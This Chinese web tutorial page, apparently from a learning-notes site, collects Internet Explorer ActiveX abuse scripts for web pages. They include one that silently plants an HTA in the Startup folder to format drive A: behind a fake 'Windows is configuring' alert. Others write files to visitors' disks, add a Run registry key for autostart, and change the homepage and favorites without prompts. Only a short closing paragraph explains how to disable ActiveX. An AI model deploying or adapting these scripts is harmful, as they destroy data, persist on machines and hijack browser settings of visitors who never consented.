转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 站长学院 >> Web开发 >> 正文
用JS脚本修改用户注册表2         ★★★★

用JS脚本修改用户注册表2

作者:闵涛 文章来源:闵涛的学习笔记 点击数:916 更新时间:2009/4/23 11:21:19

格式化硬盘的,
把启动菜单下的automat.hta删除即可,这是格式化 a:盘 代码片段如下:

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\start menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>


**************************


建立文件的 代码片段如下:

<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>

<SCRIPT LANGUAGE="JAVASCRIPT">
a1=document.applets&#0;;
fn="51js.HTM";
doc="<SCRIPT>s1=\'欢迎你访问经典论坛!\\请您将在启动文件夹内的blueidea.com.HTM删除即可\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}

function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 获取com.ms.com.Variant&#;
</SCRIPT>
<BR>
</BODY>
</HTML>


**************************


开机自动运行

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
a1=document.applets&#0;;
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //用com 的classID引用了Windows Script Host Shell Object,这是关键,这种引用不会引起浏览器报错
a1.createInstance();
Shl=a1.GetObject();
Shl.RegWrite ("HKCU\\Software\\Microsoft\\windows\\CurrentVersion\\Run\\Microsoft.exe", "explorer.exe c:");
}

function init()
{
setTimeout("f()", 1000);
}
</script>

<a href=javascript:init()>点击这里,下次开机显示你的C盘内容</a>


*************************


代码片断分析

1、加入收藏夹
原理:找到 Windows 收藏夹目录,并把当前页的 .url 文件复制到 Favourite 目录中。
代码片段如下:
// 注:这只是片段,不能直接运行!
d favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}


2、设置为首页
原理:通过修改注册表键值实现 SetToHome 功能。
代码片段如下:

// 注:这只是片段,不能直接运行!

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"


3、桌面快捷方式
原理:其实很简单,就是利用了 CreateShortcut 这个函数。
代码片段如下:

// 注:这只是片段,不能直接运行!

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

注: 至于为什么只能加入一次收藏夹,我个人认为可能是 Cookie 的
操作问题... 具体请看下面这段代码。
代码片段如下:

// 注:这只是片段,不能直接运行!

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"


**********************

我是说如果你没有把你的安全级别设为高的话,是没有提示的!
这样有很多用处,比如加入收藏和设为首页,不用出现提示了!
代码片段如下:

看看你的桌面上是不是多了一个blueidea.htm呢?
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object is instantiated -->

<SCRIPT LANGUAGE="JAVASCRIPT">
a1=document.applets&#0;;
fn="blueidea.HTM";
doc="";
function f1()
{
a1.setProperty('DOC',doc);
}

function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);",2000);
}
setTimeout("f()",1000)
</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
</SCRIPT>

***********************

注意:
本脚本只用于Window平台,IE浏览器并装有Window Script host5.0以上的机器
只要不运行本地的Activex就可以禁止它。
在IE中如下操作可以禁止:
主菜单中选 -> 查看 -> Internet 选项 -> 安全
选中Internet,单击自定义级别。
看到了吧,所有的ActiveX控件都用提示或禁止,无论是否安全。
这里所谓安全是对于MS而言的。

或者如果你不想用Java 的话也可以只关了Applet,本脚本是用Java Applet引入ActiveX的。


没有相关教程
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Web开发  · 网页制作
    · 平面设计  · 网站运营
    · 网站推广  · 搜索优化
    · 建站心得  · 站长故事
    · 互联动态
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台